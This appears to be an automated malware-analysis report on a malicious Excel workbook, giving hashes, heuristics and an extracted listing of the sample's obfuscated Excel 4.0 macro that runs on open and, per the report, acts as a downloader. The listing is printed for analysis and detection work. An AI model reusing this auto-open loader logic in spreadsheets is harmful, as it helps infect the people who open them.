Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3575a6030176e761…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:42:24 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: 7389f0ff58f6be490c02f9465569b4e8 SHA-1: bc246e47ec12659e683f82a4c364cdf94de200b2 SHA-256: 3575a6030176e761b6de37cb2cf4c134fb6ea1d616efcd1d18d0be652c827a02
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel macro-enabled document containing Excel 4.0 (XLM) macros. The presence of an Auto_Open defined name and the use of dangerous formula APIs like RUN indicate that the macro is designed to execute arbitrary code upon opening. This functionality is commonly used to download and execute a second-stage payload, making the initial file a downloader.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6738 bytes
SHA-256: 3d9646c0adbd0a8c6f56a00e64efda61f7b9f647a0be33905770d48cd2641c77
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  GidrNKPPSbE
' 0018     27 LABEL : Cell Value, String Constant - anckpaytSqJt len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A180 
' 0018     20 LABEL : Cell Value, String Constant - bAklh len=0 
' 0018     27 LABEL : Cell Value, String Constant - BKdDehmDGoDN len=0 
' 0018     22 LABEL : Cell Value, String Constant - EyjIIII len=0 
' 0018     24 LABEL : Cell Value, String Constant - FlrgRHqDj len=0 
' 0018     24 LABEL : Cell Value, String Constant - glhObzCYW len=0 
' 0018     23 LABEL : Cell Value, String Constant - gYzpvXWv len=0 
' 0018     21 LABEL : Cell Value, String Constant - HTQvoB len=0 
' 0018     20 LABEL : Cell Value, String Constant - jlvMo len=0 
' 0018     25 LABEL : Cell Value, String Constant - KgTicrnogU len=0 
' 0018     24 LABEL : Cell Value, String Constant - MbfYURGho len=0 
' 0018     25 LABEL : Cell Value, String Constant - PpwPJwGViG len=0 
' 0018     26 LABEL : Cell Value, String Constant - PtRolmGSZjf len=0 
' 0018     25 LABEL : Cell Value, String Constant - SJudYQVSoZ len=0 
' 0018     23 LABEL : Cell Value, String Constant - TBDMFlwp len=0 
' 0018     26 LABEL : Cell Value, String Constant - tKLiUTvogJD len=0 
' 0018     23 LABEL : Cell Value, String Constant - TKonbsYT len=0 
' 0018     23 LABEL : Cell Value, String Constant - UHJUPHYy len=0 
' 0018     22 LABEL : Cell Value, String Constant - XNYxooG len=0 
' 0018     26 LABEL : Cell Value, String Constant - yGxKvxPseSz len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  GidrNKPPSbE,A82,"SET.NAME("yGxKvxPseSz",VALUE("0"))",""
'  GidrNKPPSbE,A85,"SET.NAME("PpwPJwGViG",yGxKvxPseSz)",""
'  GidrNKPPSbE,A88,"SET.NAME("EyjIIII",yGxKvxPseSz)",""
'  GidrNKPPSbE,A93,"SET.NAME("TKonbsYT",COUNTA(PtRolmGSZjf))",""
'  GidrNKPPSbE,A98,"SET.NAME("SJudYQVSoZ",COUNTA(anckpaytSqJt))",""
'  GidrNKPPSbE,A103,[],""
'  GidrNKPPSbE,A107,"SET.NAME("bAklh","")",""
'  GidrNKPPSbE,A109,"PpwPJwGViG",""
'  GidrNKPPSbE,A111,"SET.NAME("MbfYURGho",HLOOKUP("*",PtRolmGSZjf,PpwPJwGViG,FALSE))",""
'  GidrNKPPSbE,A115,"gYzpvXWv",""
'  GidrNKPPSbE,A119,"SET.NAME("BKdDehmDGoDN",yGxKvxPseSz)",""
'  GidrNKPPSbE,A123,[],""
'  GidrNKPPSbE,A125,"BKdDehmDGoDN",""
'  GidrNKPPSbE,A130,"jlvMo",""
'  GidrNKPPSbE,A134,"TBDMFlwp",""
'  GidrNKPPSbE,A139,"KgTicrnogU",""
'  GidrNKPPSbE,A142,"SET.NAME("HTQvoB",VALUE(HLOOKUP("*",anckpaytSqJt,KgTicrnogU,FALSE)))",""
'  GidrNKPPSbE,A147,"glhObzCYW",""
'  GidrNKPPSbE,A151,"bAklh",""
'  GidrNKPPSbE,A153,"EyjIIII",""
'  GidrNKPPSbE,A158,NEXT(),""
'  GidrNKPPSbE,A163,"XNYxooG",""
'  GidrNKPPSbE,A166,"SET.NAME("f",INT(T(FORMULA(T(bAklh)&"",""&T(XNYxooG)))))",""
'  GidrNKPPSbE,A171,"UHJUPHYy",""
'  GidrNKPPSbE,A174,NEXT(),""
'  GidrNKPPSbE,A178,RETURN(),""
'  GidrNKPPSbE,A200,"SET.NAME("tKLiUTvogJD",A82)",""
'  GidrNKPPSbE,A204,"PtRolmGSZjf",""
'  GidrNKPPSbE,A207,"SET.NAME("anckpaytSqJt",R51C15)",""
'  GidrNKPPSbE,A209,"SET.NAME("UHJUPHYy",217)",""
'  GidrNKPPSbE,A212,"SET.NAME("FlrgRHqDj",1)",""
'  GidrNKPPSbE,A216,tKLiUTvogJD(),""
'  GidrNKPPSbE,A217,HALT(),""

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